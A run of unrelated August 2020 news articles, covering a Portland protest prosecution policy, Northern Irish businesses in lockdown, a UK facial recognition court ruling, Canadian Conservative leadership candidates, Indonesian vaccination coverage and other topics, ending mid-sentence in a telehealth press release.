Schmidt said his office will presumptively decline to prosecute those whose most serious accusation doesnt involve deliberate property damage, theft or the use or threat of force against someone else. Charges that fall under that category include interfering with a peace officer, second-degree disorderly conduct and rioting, among others. Those whose most serious accusation involves a city ordinance violation will also not be prosecuted. As prosecutors, we acknowledge the depth of emotion that motivates these demonstrations and support those who are civically engaged through peaceful protesting, Schmidt, who recently took office, said in a statement. We will undermine public safety, not promote it, if we do not take action to bring about immediate change. Prosecutors will scrutinize the cases of protesters accused of resisting arrest or assaulting a public safety officer and consider the chaos of a protesting environment, especially after tear gas or other less-lethal munitions have been deployed against community members en masse, the district attorneys office said in a news release. Protesters accused of crimes that caused only financial harm will be offered conditional dismissal after paying restitution or making other amends. And allegations of intentional physical violence against civilians and law enforcement officers such as assault and arson accusations will be handled according to the district attorneys offices normal policies. The Multnomah County District Attorneys Office is neither condoning nor endorsing the conduct that led to the arrest or citation of a person, the office said. A prosecution decline decision does not change Oregon law. The new protest policy was unveiled as protests against police violence and anti-Black racism are set to continue for their 76th day Tuesday. Hundreds of people have been arrested during the demonstrations. The policy announcement also came the day after the district attorneys office declined to prosecute activist Demetria Hester, who spent Sunday night in police custody after being arrested during a protest in North Portland. Hester, a regular presence at protests and a leader of the Moms United for Black Lives group, was one of 16 arrested in a Sunday demonstration outside the Portland Police Association building. The Sunday demonstration and a similar event Saturday were both declared riots by Portland police. Watch Schmidts announcement in the window above or at The Oregonian/OregonLives Facebook page. Jim Ryan; jryan@oregonian.com; 503-221-8005; @Jimryan015 Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Paul Rothwell, managing director of Sliderobes, and Sean McLaughlin of Kraken Fish and Chips, on how theyve responded to lockdowns challenges. Set up in 1983, Sliderobes has become something of a household name in Northern Ireland and Britain for its fitted storage solutions. Originally owned by Mick McAleese, the company was bought by former Ormeau Bakery and Podium for Sport chief Paul Rothwell and his business partner Mervyn McCall in 2016. Since then the company has evolved into even more of an innovator in its field. The pandemic has also fast-tracked IT plans, allowing it to assess customers' homes, despite the restrictions of lockdown, and offer indivdual storage solutions remotely. Paul, who was also an engineer at Michelin during the early part of his working life, says the team at the firm has been instrumental in taking the business through one of its most challenging times. "All our sites totally closed for eight weeks and we started bringing people back in over June. "Today we are offering showroom by appointment only, which gives customers the space they need," Paul says. "I will say, in all of my working career I've never had as good a team around me as I do now. They inspire me and we learn from each other and that has been behind the continued success at the business during this period. "What we're going through now, there is nothing I can compare it to, and I remember when we had the first of our Zoom calls to one of our teams in England at the beginning of lockdown and I was asked: 'Why are you so calm?' I thought there are so many times in my career when I've wondered how I'm going to get out of this or that. "No matter what the climate, there was always an obstacle and a problem. But there was also always a solution, and the benefit of age is that I am 100% confident that there is always a way out and we'll find it. If you keep positive and be prepared to be bold and pivot your thinking you can find a way." And with that mindset plans at Sliderobes were fast-tracked and leads and orders soon came flowing in. Sliderobes is a franchise with 11 sites, one of which is in Belfast, two in the Republic and eight are located in England. Paul says he has done a lot of restructuring since the takeover, with modernisation of some sites and the closure of under-performing stores. He also acquired a site in Maidstone in Kent and is working on the takeover of another two English stores. "We've also invested a lot in our people, but also our technology," Paul adds. "We've been stepping up and have implemented a new showroom style, which will run throughout our other sites too. "On the technology side of things, some solutions are visible to customers. In terms of our new software we're able to go to a customer's home and look at a room and design our storage offering on CAD software, which allows them to see a photo realistic three-dimensional view of what the room would look like. It also allows us to add and take out features, change colours, and when we confirm a design, behind the scenes the software will tell us exact dimensions and information on every nut and bolt needed for that design. "It's really great for the customers to have that visualisation but it's also a time and cost saving piece of technology that presents much fewer opportunities for error for us." Paul says the new CAD software was always in the pipeline but the pandemic created an opportunity to bring innovations forward. "If lockdown hadn't happened, it would've taken two years to get this up and running," he says. Today the firm is also offering virtual visits to customers throughout the UK and Ireland. A customer can save time and see a finished installation without leaving the home. "That's something that would've taken much longer to catch on with customers," Paul says. "But I believe the use of Zoom and other conference-style call programmes during lockdown has made everyone more comfortable working and living that way, which is really beneficial for us." Looking at the uptake in business since the stores reopened, Paul says interest is much higher compared to the same period last year. He continues: "People have become hugely aware of the sanctuary of their own home. What they took for granted they are now grateful for. "We have found that people can't spend money on holidays and they're rethinking the look of their homes. "For us that has been converted into a lot of interest and it's quite noticeable through higher average sales and people spending considerably more than they used to and that is very definitely down to people appreciating their home more. "We're also seeing a lot more people working from home and I see that being a thing of the future, so demand for home office solutions has accelerated." And aesthetics are a big priority with customers too, prompting Paul to invest in an interior designer. "We hired a really good interior designer to work with us on the product development side of the business, so today it's not just about a joiner, and this is important because aesthetics in your bedroom and other rooms in the home is vital for wellbeing." Looking to the future, plans have shifted and targets have been reset, Paul adds. "This year's rules or even last week's rules might not apply anymore and that's the advice I give to those I mentor through Invest NI. "What we all had in place might no longer apply so we need to start from scratch and rethink forward two years, no further, and if we can prepare for that rather than obsess over today's problem there is a way out." I had a desire to own a fish and chip shop and took it from there Expand Close Geraldine and Sean McLaughlin of Kraken Fish and Chips in Portrush Philip Magowan / PressEye / Facebook Twitter Email Whatsapp Geraldine and Sean McLaughlin of Kraken Fish and Chips in Portrush Necessity is the mother of invention, as the saying goes. And the necessity of surviving the coronavirus pandemic and lockdown has led to many businesses having to invent new routes to market. Husband and wife Sean and Geraldine McLaughlin have just opened their eatery Kraken Fish Bar at Lansdowne Crescent in Portrush in an investment of up to 60,000. The couple, who have three children, had spent around 440,000 in recent years on a revamp of their hotel, The Fullerton Arms in Ballintoy on the north coast. They had also come up with Kraken Fish & Chips, which traded at festivals and events from a retro Citroen H van nicknamed Jean-Claude. But the necessity of shutting The Fullerton Arms during lockdown led to a rethink and resulted in Kraken Fish & Chips winning a larger audience. This year was to be the biggest year wed ever had at The Fullerton Arms in accommodation and payback, Sean says. But it was not to be so we had to then diversify and think of something different and look at what was on offer, so this is where weve got to. We needed to do something so we opened up the vans and did deliveries only, with no contact with customers. It was all online payments and the brand just went on a boom as that was what people were looking for in lockdown. People have a love of fish and chips they were looking for a bit of comfort food, ease of delivery and they didnt want to have to stand in a queue. We took the worry and stress out of waiting outside or waiting at a window or any of that stuff because it was all done online to their specification and allowed them to get it delivered to their door. But he says that Krakens products, including for the new fish bar, are a cut above or several cuts above the typical fish and chip offering. Its more gourmet, and everything thats served is gluten-free, which allows all the family to come and eat with us rather than one person having to miss out if they happen to be gluten intolerant. In the fish bar, we have a sit-in function for high-end menu items like lobster salad, monkfish scampi and moules frites, or our prawn laksa. Then theres a section for sitting outside, and there will be a takeaway function for our Kraken fish suppers, our fish tacos that people know us really well for, and salt and chilli prawns. Hes excited about the prospects for the fish bar, and says the venue had been on his and his wifes mind for some time. We live in Portrush, and we have been walking past this sight for quite some time and we have been saying to ourselves, that would make a cracking fish bar for us to open. Catering has been his career for a long time. He studied at the Northern Ireland Hotel and Catering College in Portrush, and went on to become general manager at venues from Premier Inns to the Giants Causeway visitor centre. He also worked at the Europa Hotel in Belfast. His father Sean senior is also well-known in the trade, and worked as general manager at the Tullyglass Hotel in Ballymena before opening McLaughlins Corner at Kilrea in Co Londonderry. Sean says: I have always had a desire to have a fish and chip offering, and the success of the Fullerton Arms helped me to piece it together. The idea of the Citroen H van was to bring a type of street food into Northern Ireland which didnt really exist before. The idea was to go gluten-free but to have a gluten-free batter that would stack up to taste as good as gluten-based, normal batter, which we have done. Weve done significant testing and we use rapeseed oil which makes it a little big healthier but also fresher in taste, and it means that vegetarians and pescatarians can have it as well. The unique name for the business came up in a conversation over a bottle of wine, to be truthful. We had the van, we had the vision. We were sitting there one night and Geraldine said, what is it that you want to do with the food? And I said I just want it to be a really good, cracking fish and chips place, and took it from there, that was where the name came from. He commissioned Impact Printing to develop the theme of cracking, leading to the idea of using the Scandinavian kraken sea monster as a play on cracking. I asked them could the kraken be holding a knife and fork type of thing and now we have it holding the condiments. Over the last few weeks he and Geraldine have had a busy time getting Lansdowne Crescent ready for opening. We have three kids, Enya (8), Radha (6) and Sean Og, who is two. As I sit here Enya is helping fold boxes and put our branded stickers on them, Rahda gets involved by taste-testing and Sean Og just gets involved by getting in the way! The investment in the new business has been significant, including the purchase of some Florigo frying equipment, and commissioning designer Jude Burrows to come up with a nautical theme. He says the sit-down tables inside are inspired by the hull of a boat. Theres an affinity with the sea, because where we sit we command some of the best views of the north coast. Were looking out over the north coast peninsula into the Skerries, off out into Larrybane and Kinbane Head the whole way along the coast. He says the help of Ulster Bank has been crucial in expanding the business and concept. Our business manager Rhonda is always there to point us in the right direction, and that is how weve managed to push this on because Ive reached out and said, this has taken off more than I expected. Shes very, very supportive in the growth of it and can see that theres another avenue for it as well. Ed Bridges has won his case against South Wales Police, arguing their use of automatic facial recognition had caused him 'distress' The use of facial recognition technology by police did interfere with privacy and data protection laws, the Court of Appeal has ruled. Civil rights campaigner Ed Bridges, 37, brought a legal challenge against South Wales Police arguing their use of automatic facial recognition (AFR) had caused him 'distress'. He had his face scanned while he was Christmas shopping in Cardiff in 2017 and at a peaceful anti-arms protest outside the city's Motorpoint Arena in 2018. In a ruling on Tuesday, three Court of Appeal judges ruled the force's use of AFR was unlawful, allowing Mr Bridge's appeal on three out of five grounds he raised in his case. In the judgment, the judges said that there was no clear guidance on where AFR Locate - the system being trialled by South Wales Police - could be used and who could be put on a watchlist. It ruled that 'too much discretion is currently left to individual police officers'. In a statement, Mr Bridges said he was 'delighted' the court had found that 'facial recognition clearly threatens our rights'. 'This technology is an intrusive and discriminatory mass surveillance tool,' he added. 'For three years now, South Wales Police has been using it against hundreds of thousands of us, without our consent and often without our knowledge. Mr Bridges had his face scanned while he was Christmas shopping in Cardiff in 2017 and at a peaceful anti-arms protest outside the city's Motorpoint Arena in 2018 (stock photo) 'We should all be able to use our public spaces without being subjected to oppressive surveillance.' The court also found that a data protection impact assessment of the scheme was deficient and that the force had not done all they could to verify that the AFR software 'does not have an unacceptable bias on grounds of race or sex'. The judgment notes that there was no clear evidence that the software was biased on grounds of race or sex. Mr Bridges took his case - believed to be the world's first over police use of such technology - to the Court of Appeal after his case was previously rejected by the High Court. In a ruling on Tuesday, three Court of Appeal judges ruled the force's use of AFR was unlawful, saying there was no clear guidance on where AFR Locate could be used and who could be put on a watchlist In a statement after the ruling, Mr Bridges said he was 'delighted' the court has found that 'facial recognition clearly threatens our rights'. South Wales Police said the test of their 'ground-breaking use of this technology' by the courts had been a 'welcome and important step in its development'. Six steps behind facial recognition technology The Metropolitan Police uses facial recognition technology called NeoFace, developed by Japanese IT firm NEC, which matches faces up to a so-called watch list of offenders wanted by the police and courts for existing offences. Cameras scan faces in its view measuring the structure of each face, creating a digital version that is searched up against the watch list. If a match is detected, an officer on the scene is alerted, who will be able to see the camera image and the watch list image, before deciding whether to stop the individual. Advertisement Chief Constable Matt Jukes said: 'The Court of Appeal's judgment helpfully points to a limited number of policy areas that require this attention. 'Our policies have already evolved since the trials in 2017 and 2018 were considered by the courts, and we are now in discussions with the Home Office and Surveillance Camera Commissioner about the further adjustments we should make and any other interventions that are required.' Mr Jukes added: 'We are pleased that the court has acknowledged that there was no evidence of bias or discrimination in our use of the technology. 'But questions of public confidence, fairness and transparency are vitally important, and the Court of Appeal is clear that further work is needed to ensure that there is no risk of us breaching our duties around equality.' At a three-day Court of Appeal hearing in June, lawyers for Mr Bridges argued the facial recognition technology interferes with privacy and data protection laws and is potentially discriminatory. They said the technology, which is being trialled by the force with a view to rolling it out nationally, is used to live capture the facial biometrics of large numbers of people and compare them with people on a 'watchlist'. The force does not retain the facial biometric data of anyone whose image is captured on CCTV but does not generate a match, the court heard. Mr Bridges' case was dismissed at the High Court in September last year by two senior judges, who concluded the use of the technology was not unlawful. Lord Justice Haddon-Cave and Mr Justice Swift said they were 'satisfied' the current legal regime is adequate to 'ensure appropriate and non-arbitrary use of AFR' and that the force's use to date of the technology has been 'consistent' with human rights and data protection laws. Mr Bridges, who the force confirmed was not a person of interest and has never been on a watchlist, crowdfunded his legal action and is supported by civil rights organisation Liberty, which is campaigning for a ban on the technology. AFR technology maps faces in a crowd by measuring the distance between features then compares results with a 'watchlist' of images - which can include suspects, missing people and persons of interest. South Wales Police has been conducting a trial of the technology since 2017. The force added that it is not intending to appeal against the judgment. The U.S. says it is deeply concerned by a recent draft decree published by Russian authorities targeting media entities funded by the U.S. Agency for Global Media (USAGM) in Russia. In a statement on Monday, U.S. Secretary of State, Michael Pompeo, said the decree would impose new burdensome requirements that will further inhibit RFE/RLs and VOAs ability to operate within Russia. USAGM is an independent agency of the U.S Government, which operated various state-run media outlets, including the Voice of America (VOA) and Radio Free Europe/Radio Liberty (RFE/RL). When operational, the decree would require foreign media outlets to create a legal entity within Russia to carry out any financial transactions among other measures. Mr Pompeo said: For more than 70 years, VOA and RFE/RL have been vital sources of independent news and information for the people of Russia. This decree will impose new burdensome requirements that will further inhibit RFE/RLs and VOAs ability to operate within Russia, compounding the significant and undue restrictions these outlets already face. We remain troubled by the ongoing crackdown on independent press in Russia and call on the country to uphold its international obligations and OSCE commitments to freedom of expression. READ ALSO: We urge the Russian government to reconsider these actions, which will further damage the bilateral relationship. The Russias decision came after the appointment of Michael Pack, a conservative documentary filmmaker with ties to Steve Bannon, a Trump loyalist, as the Chief Executive Officer of USAGM. One of Mr Packs first decisions was the sacking of heads of RFE/RL, Radio Free Asia and the Middle East Broadcasting Network, a move that drew criticisms. USAGM was established after World War II to bring U.S. radio broadcasts to an international audience, runs five different networks that bring news to 350 million people in 100 countries and 61 languages. (NAN) Qatar Airways has increased its services to Pakistan, operating 49 weekly flights to Islamabad, Karachi, Lahore and Peshawar with its Boeing 787 and A350 aircraft. Flights to Islamabad have increased from 11 to 14 weekly flights, to Karachi from 10 to 14 weekly flights, to Lahore from 11 to 14 weekly flights, and to Peshawar from five to seven weekly flights. The airline has effectively increased its flights to Pakistan by 32% so that they are now in line with operation levels before the Covid-19 crisis started. Qatar Airways Group Chief Executive Akbar Al Baker said: We are excited to increase our services to Islamabad, Karachi, Lahore and Peshawar, offering our passengers travelling to and from Pakistan connectivity to the largest networks in Europe, the UK and the US via the Best Airport in the Middle East. We remain committed to serving our customers in Pakistan and have worked hard throughout the pandemic to ensure we can operate as many flights as possible, in line with the directions of the Pakistan government. Passengers from Pakistan are required take a Covid-19 RT-PCR medical test. Passengers will need to present a negative test result issued within 72 hours prior to departure, when checking in. Children below the age of 12 years are exempted from this test if accompanied by family members. TradeArabia News Service The Conservative Party logo is seen before the opening of the Party's national convention in Halifax on August 23, 2018. (The Canadian Press/Darren Calabrese) In Their Own Words: Conservative Leadership Candidates Weigh In on Why They Are the Best Choice From wanting to reduce the size of government, to shrinking the tax burden, to scrapping the carbon tax, as well as boosting the energy sector and taking a harder line on China, there are many things the four Conservative leadership candidates agree on. But there are other political issues they say sets them apart from each othera difference that could be the deciding factor on who should be the next leader of the party, which will be announced once all the mailed-in ballots are counted after Aug. 21. Now, just days to go before the voting deadline, The Epoch Times talked with each candidate about why they should be the chosen party leader. Erin OToole, Derek Sloan, and Leslyn Lewis were interviewed by phone, while Peter MacKay emailed his comments. Here are the responses of the candidates in alphabetical order. Conservative Party of Canada leadership candidate Leslyn Lewis makes her opening statement at the start of the French Leadership Debate in Toronto on June 17, 2020. (Frank Gunn/The Canadian Press) Leslyn Lewis The daughter of first-generation immigrants from Jamaica, Leslyn Lewis came to Canada as a five-year-old. After college, she worked hard to obtain a masters degree in environmental studies and PhD in Law before becoming a successful lawyer in Toronto. I think people see in my life story an example of what they want Canada to bea country where you can work hard and succeed, and where any citizen can aspire to hold the highest office in the land, Lewis said when asked what makes her the best candidate to lead the Conservative Party. A political novice, Lewis decided to take the leap into politics because she was concerned about the direction the country is headedin particular the erosion of fundamental freedoms and a weakening economyand worried her children wouldnt get the same opportunities she had. But her newcomer status in the political arena is actually one of her strengths, she saidone that can also help her to transcend ideological divisions within the party itself and Canada as a whole. As a political outsider I dont have the baggage of past governments or party leaders and can objectively unite our party, she said. A united Conservative party is the only way we can win the next election and build a prosperous and united Canada. Seen alongside Derek Sloan as the more socially conservative of the candidates, Lewis has run a campaign based on four pillars: Upholding family as the cornerstone of society; protecting fundamental freedoms; supporting the vulnerable; and upholding fiscal responsibility. She has also been upfront about her beliefs on socially conservative issuespart of her no hidden agenda campaignsuch as her pro-life stance on abortion. My ability to speak freely and respectfully about controversial issues reminds Canadians that even our simplest freedoms are worth fighting for, she said, adding she believes her stance reflects that of the majority of Canadians. She notes, however, that her platform is expansive and goes beyond social conservatism to include a focus on issues like the economy and resource development, the environment, support for Indigenous issues, a post-pandemic recovery plan, and more. I believe that in addition to your values, youre looking at things that face every Canadian, and every Canadian is concerned about the economy, and the environment, and health care, and other democratic values, she said. Conservative Party of Canada leadership candidate Peter MacKay speaks during the English debate in Toronto on Thursday, June 18, 2020. (Tijana Martin/The Canadian Press) Peter MacKay Peter MacKay touts his decades of political experience and instrumental role in founding the modern-day Conservative Party of Canada as his competitive advantage in moving Canada forward amid unprecedented challenges. I was at the cabinet table for 10 years, including when we faced a deep worldwide economic crisis and where we brought the books back into balance, he said, adding that he aims to form a majority Conservative government in the next election. I am the only candidate with the experience to unite our party, build a bigger tent, and lead it to victory against Justin Trudeau and the Liberals in the next election. MacKay says Canada is facing a health, economic, and national unity crisis as the country grapples with Western alienation and a debt burden that ballooned to $100 billion even before the pandemic hit. The deficit now hovers around $340 billion. I will be Canadas jobs prime minister, he said. I will unify the nation to fight the current recession and the worst health crisis in generations. His platform on jobs includes getting Canadas natural resources to market, supporting Canadian-made research, technology, and manufacturing endeavours, and reducing tax burdens and supporting small businesses, among other measures to improve consumer confidence and boost the economy. MacKay is the least socially conservative of the candidateshe has publically stated he is pro-choice and pro-equal marriagebut he said he isnt concerned about alienating voters who are social conservatives. I know I can gain the trust and support of social conservatives because I already have during this leadership race. Im proud to have the support of many social conservatives and count many prominent socially conservative members of caucus on my team. MacKay said he will support issues such as conscience rights for medical professionals, re-establish the Office of Religious Freedoms, allow free votes for MPs on matters of conscience, scrap the Liberals values-test on accessing government programs, and continue to support a tough-on-crime approach. Conservative MP Erin OToole rises during Question Period in the House of Commons on October 18, 2018 in Ottawa. (Adrian Wyld/The Canadian Press) Erin OToole As a Member of Parliament and shadow minister of foreign affairs, Erin OToole says he is the best option for Conservative leadership because hes ready to go on day one. As a current and seasoned MP, he says hes the best-positioned to hit the ground running if an election is called. If we dont have a leader that can hold the government to account in the House and demonstrate to Canadians that we are a government waiting, a government that can get us back on track economically and [from] the national unity perspective and our reputation around the world, we wont win that trust back of Canadians, he said. OToole said his campaign slogan True Blue Leadership distinguishes him as someone who stands up for true conservative principles, while acknowledging that conservatives define themselves in a variety of different ways. I am a liberty free-market conservative who believes in personal responsibility, initiative, principled foreign policy, strong and safe communities. I obviously served in the military, so military, and support for our allies and values around the world are important to me. So those are kind of true conservative principles, he said. The biggest challenge Canada now faces, OToole said, is national unity in the era of unprecedented Western alienation and a newly-formed Bloc Quebecois, as well as the economic fallout from COVID-19: the runaway deficit, mounting debt, and high unemployment. He said improving Canadas competitiveness and influence on the world stage would be major priorities for him. In the last few years, $150 billion of capital has left Canada because were seen as a high tax, high regulatory, virtue signalling-led environment, he said. We have to address that because theres now a global competition for talent, for capital investments, for expansion of existing operations. In the post-pandemic world OToole predicts there will be a realignment of trade and diplomatic relations to counterbalance the bad actions of China, which he believes is an opportunity for Canada to assert itself as a leader. I want Canada to be at the forefront of that, not dragged along, he said, adding hed like to see Canadas China policy align more closely with that of Australia and the United States. This global reliance realignment requires a serious and an interest-based foreign policy [for] Canada, not this virtue-signalling, chasing the U.N. seat. We have gone down in the eyes of our friends around the world. We have to halt that decline. Conservative Party of Canada leadership candidate Derek Sloan speaks during the English debate in Toronto on June 18, 2020. (Tijana Martin/The Canadian Press) Derek Sloan Derek Sloan, MP for Hastings-Lennox & Addington in eastern Ontario, a lawyer, and former small business owner, says hes the most socially conservative of the four candidates, which he believes is his strength. Its also reflected in his campaign slogan: Conservative. Without Apology. Sloans campaign promises to take a strong stand against radical progressivism. He sees the damage to free speech, freedom of religion, and freedom of conscience happening in Canada as one of the biggest threats to the country. This culture (or cancel culture) often targets conservative viewpoints and seeks to silence conservative voices, he says, which extends to self-censorship within the Conservative Party itself. Derek will never make anyone apologize for being a Conservative, reads his website. He will encourage members to speak the truth no matter how uncomfortable it makes the increasingly politically correct culture, because thats not merely what the party needs. Its what Canada needs, now more than ever. Conservatives have been playing it safe for far too long, focusing on narrow economic issues which, though important, dont begin to cover the gamut of our national and social needs. Sloans platform includes measures to improve free speech within Canadian laws, online, on university campuses, and within political parties. He is also pro-life and supports rights for health care professionals that refuse to perform abortions or medically assististed death, as well as stronger parental rights in controversial areas such as conversion therapy and sex-change surgery on children. He supports pipelines and building a strong energy sector, boosting national defence spending, revocation of Canadian citizenship for dual citizens convicted of terrorism, and reducing target immigration to 150,000 per year. Canadian sovereignty is one of Sloans key focuses, which includes a Canada-first strategy that would stop the practice of signing onto certain international treaties that he says dont serve Canadian interests. Im the only candidate whos talking about getting out of the Paris Accord, defunding the WHO, getting out of certain U.N. things weve signed on to like the mass migration contract, he said, adding hes the most populist of the conservative candidates. I certainly have the most bold and conservative plan of all, in my opinion. With reporting by Michael Wing Penny Lancaster feared she was 'coming down with coronavirus' when she started going through the menopause in lockdown. The model, 49, noticed her body changing during lockdown and feared her rising temperature was due to the deadly virus. The mother-of-two - who is the wife of rocker Rod Stewart, 75 - said she is learning to cope with the menopause by talking to other women about her experiences. Alarmed: Penny Lancaster has revealed she thought she was suffering from coronavirus when her menopause started Speaking to Andi Peters on Lorraine on Tuesday, Penny said: 'I thought I was coming down with the virus because my temperature was soaring through the roof, but then I realised, it was just menopause. 'I'm actually coping alright, lots of conversations with other women, talking to a doctor and understanding it. 'There are so many black areas with the menopause. So the more we can talk about it, the easier it is to talk about the problems that come along with it.' Last week, Penny spoke to her Loose Women co-stars from her London home about her experiences with the menopause. Honest: The former Strictly Come Dancing star feared her rising temperature was due to the deadly virus Open: The star said she is learning to cope with the menopause by talking to other women about it Changes: The model wife of rocker Rod, 49, said she noticed her body changing during lockdown She admitted she has found the past few months extra tough because of her symptoms, but gushed that her rocker husband and their two sons Alastair, 14, and Aiden, nine, have been very understanding. Speaking from her home, Penny told her co-stars: 'Rod and I have a very close and intimate, open relationship about all sorts of things.' 'I talk to him about how I'm feeling in the lead up to my period, feeling a little down or sad or I always say, "Darling give me space today, it's the time of the month."' She added: 'I've explained to them [my family] about the hormones I'm experiencing since March, my last period.' Love: The star, 49, spoke to her Loose Women co-stars from her London home during Monday's show, updating them on her lockdown with husband Rod Stewart, 75 'I've been having the really hot sweats, and then freezing cold my body temperature is fluctuating all over the place. It affects your mood swings, I've been putting on more weight.' Penny then recalled a particularly tough day, explaining: 'I was in the kitchen, cooking dinner, it had been one of those days where everything had been going wrong and I'd had enough. I ended up throwing the dinner across the kitchen.' 'I just screamed and burst into tears. The boys came and hugged me. Rod said, "Just give mummy a minute". So, we're lucky that we've got that open discussion.' Speaking of feeling there's a lack of information available, she said: 'What's really confusing for me, I'm trying to explain to my husband and the boys what's going on, but I don't really know myself'. She added: 'I don't know what's happening. My younger friends are saying to me, 'Are you going to do HRT, what symptoms have you got?' I'm saying, 'I don't know!' Penny, Rod and their sons have split lockdown between their homes in Florida and London, as well as enjoying a recent break in Croatia. She explained to Loose Women that she and Rod 'always consider ourselves extremely lucky in lockdown...having a larger property and land to exercise in.' 'We count ourselves lucky, and thinking how awful it must be for those in small apartments. Our hearts went out to them.' Share this article Whatsapp Facebook Twitter Linkedin Ati Nurbaiti (The Jakarta Post) South Tangerang, Banten Tue, August 11, 2020 09:51 526 6657ac82168da9fa101c8a4066d025d6 3 Opinion ulemas,children-development,children-health,vaccination,Islam,religious-leaders Free The new semester has begun amid a continuing controversy over reopening schools. While educators fret about the risks of a prolonged interruption of in-person studies, others worry about a worsening gap in access to education. Some teachers have been visiting students in their homes to assist those with limited access to the internet, but they are potentially exposing themselves and their students to COVID-19. The pandemic has contributed to a rise in preventable diseases among infants because of a decline in immunization coverage. In the 1970s, mandatory vaccinations became routine at schools and health centers in the nation. Then, decentralization as a result of democratic reforms, a louder conservative movement and anti-vaxers were all blamed for lower coverage. Now, I worry about my grandkids exposure to vaccine-preventable diseases. As World Health Organization director general Tedros Adhanom Ghebreyesus said, The avoidable suffering and death caused by children missing out on routine immunizations could be far greater than COVID-19 itself. The long-term effects of measles, for instance, can include swelling of the brain, leading to convulsions and sometimes death. While the threshold of herd immunity for basic childhood vaccines is 95 percent coverage, the Health Ministry reported last year that 96 regencies and cities had coverage rates between 60 to 80 percent, and 40 others had coverage rates under 60 percent. Health authorities have assured parents that vaccinating their children is safe, as protocols are in place to prevent the transmission of COVID-19. But as demonstrated by the family planning program, nationwide vaccination needs to be in sync with central and local bureaucracies, religious authorities and informal community organizations. Nowadays even more intensive efforts are needed to stabilize disrupted vaccination programs as louder anti-vaccine groups raise dubious claims about harmful side-effects of vaccination and religious leaders seek to save the devout. In 2018, Acehnese ulema council (MPU) officials requested that the measles and rubella (MR) vaccination program be delayed pending a fatwa from the Indonesian Ulema Council (MUI) to establish its halal status. Similar to the 2016 fatwa allowing vaccines with haram content in emergencies until a halal vaccine was discovered and made available, the MUI ruled that although the MR vaccine from India contained porcine enzyme, which is considered haram, it was permissible (mubah). However, as in other quarters, such as in Riau province, parents and local Islamic leaders continued to resist the vaccination effort. Some were dragged into polarized camps ahead of the 2019 presidential election. Acehs overall basic childhood vaccination coverage in 2019 was 49 percent, and MPU support came only after reports that MR immunization coverage in the province was barely 7 percent. This year, the MPU reasserted its support for vaccination programs, appealed for closer communication with the MUI and encouraged a more active role for Acehs health agency in spreading awareness about basic vaccinations. We are ready to help, said Faisal Ali, deputy head of the MPU. Surveys have recorded similar declines in immunization coverage in other Muslim-majority countries, such as Afghanistan, Pakistan and Malaysia. However Indonesia, mindful of the potential for human rights violations, has not resorted to penalties for parents resisting vaccination as in Pakistan and Malaysia. Therefore, major religious organizations and their leaders urgently need to remind parents to have infants vaccinated to avoid various diseases that could afflict them into adulthood. With their greater clout today, we have every right to demand that religious leaders show much more responsibility in saving lives. Religious leaders should repeat their earlier role in Indonesias family planning program, when they endorsed initially controversial efforts to cut down family sizes and space out births. Though the globally lauded program of the authoritarian New Order was criticized by some for its intrusive, even intimidating nature, religious organizations should take the lead again to save millions of children. Islamic leaders attempting to overcome resistance to vaccines have faced regional chapters of their organizations, as in Aceh and Riau, that hold greater sway with local populations than central boards. Blunders and a lack of speedy damage control have also added to confusion and distrust in national institutions such as the MUI and the Religious Affairs Ministry. Another lurking danger is child marriage which has reportedly increased since the arrival of the pandemic. One probable reason is parents marrying off girls to rich suitors including revered elderly clerics in a bid to ease worsening poverty. Despite the recently increased minimum legal marriage age of 19 for both men and women which from 1974 to late last year was 16 for girls parents can still file for dispensation from the courts to marry off minors in the case of an emergency, such as if the girl is pregnant. Stands against child marriage have been made at the very top of religious organizations. A 2018 fiqih (Islamic legal ruling) on child protection by Muhammadiyah states that the ideal age of marriage is at least 21, to better ensure physical and mental maturity. Religious organizations must prioritize this kind of safeguarding of adherents, instead of attempting to justify the sexual exploitation of minors or instilling the fear of sin, especially during this health emergency. To avoid the threat of infectious diseases and girls becoming mothers on top of all the nations efforts to cope with COVID-19 religious leaders can help make a social difference again. In family planning, they eventually turned around convictions that it was sinful to interfere with Gods command to procreate. As researcher Jeremy Shiffman notes, the focused approach of securing the support of faith leaders involving advocates of family planning and the National Population and Family Planning Board (BKKBN) accompanied by the persistent lobbying of then-president Soeharto was effective at securing family planning commitments. Intensive efforts started with the BKKBNs first leader, a military doctor named Suwardjo Surjaningrat, and continued with his successor, a communications professor named Haryono Suyono. Field campaigns on birth control involving security personnel also helped in the efforts. To save our demographic dividend and the coronavirus generation, the role of the military and police may be limited. Faith leaders, however, could be much more relevant in helping parents and community leaders protect children. *** The writer is freelance journalist, formerly at The Jakarta Post. Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. San Antonio-area students will soon begin returning to school for the new year, but in ways most of them, or their parents, have never experienced before. All area students finished out the 2019-20 school year from their homes as the coronavirus pandemic took hold of San Antonio. And a resurgence of cases this summer squashed any hope of a uniform model of back-to school in the fall, forcing districts to all formulate their own plans for starting school. Sydney Airport chief executive Geoff Culbert says a travel "bubble" between Australia and New Zealand probably won't be possible until November or December because of the second wave of COVID-19 infections in Victoria. Mr Culbert, speaking after announcing a $2 billion equity raising to help his airport through the pandemic, said that the Victorian outbreak had put quarantine-free trans-Tasman travel on the backburner after a decision came close to being announced in May. Sydney Airport's traffic has plunged due to the pandemic. Credit:Edwina Pickles "Our hope would be that the New Zealand travel bubble could open up before the end of the year," he said. "We still hold out hope for the October school holidays, but I think more realistically is the end of the year." New Zealand Prime Minister Jacinta Ardern said last week that her government would only open quarantine free travel to areas that had been free from community transmission of COVID-19 for 28 days. BERKELEY, Calif., Aug. 11, 2020 /PRNewswire/ -- Researchers at CITRIS (Center for Information Technology Research in the Interest of Society) at the University of California are launching today "Lighthouse for Older Adults" (Lighthouse), a public-private initiative to pilot access to telehealth and internet services to low-income seniors. With $3.6 million in funding and partners including affordable housing providers, technology distributors and NGOs, Lighthouse aims to equip older adult residents of affordable housing communities with internet access, telehealth tools and digital literacy skills they need to access information, health care services, and social connections. "Older adults in affordable housing communities are one of the most underserved populations affected by COVID-19," said CITRIS Health Director and Lighthouse project lead David Lindeman. "They are especially vulnerable due to limited access to information, connection, and health care services. The isolation caused by social distancing further exacerbates this challenge." Affordable housing, a critical safety net for poor older adults, suffers from limited access to technology and a lack of resources and staff. Residents of these communities often don't have reliable access to devices, sufficient bandwidth for telehealth, or adequate social services, further complicated by the need for multi-lingual and culturally sensitive programs. Lighthouse will develop and deploy a technology-enabled ecosystem to promote health and well-being that can serve as a model for replication. The program will include 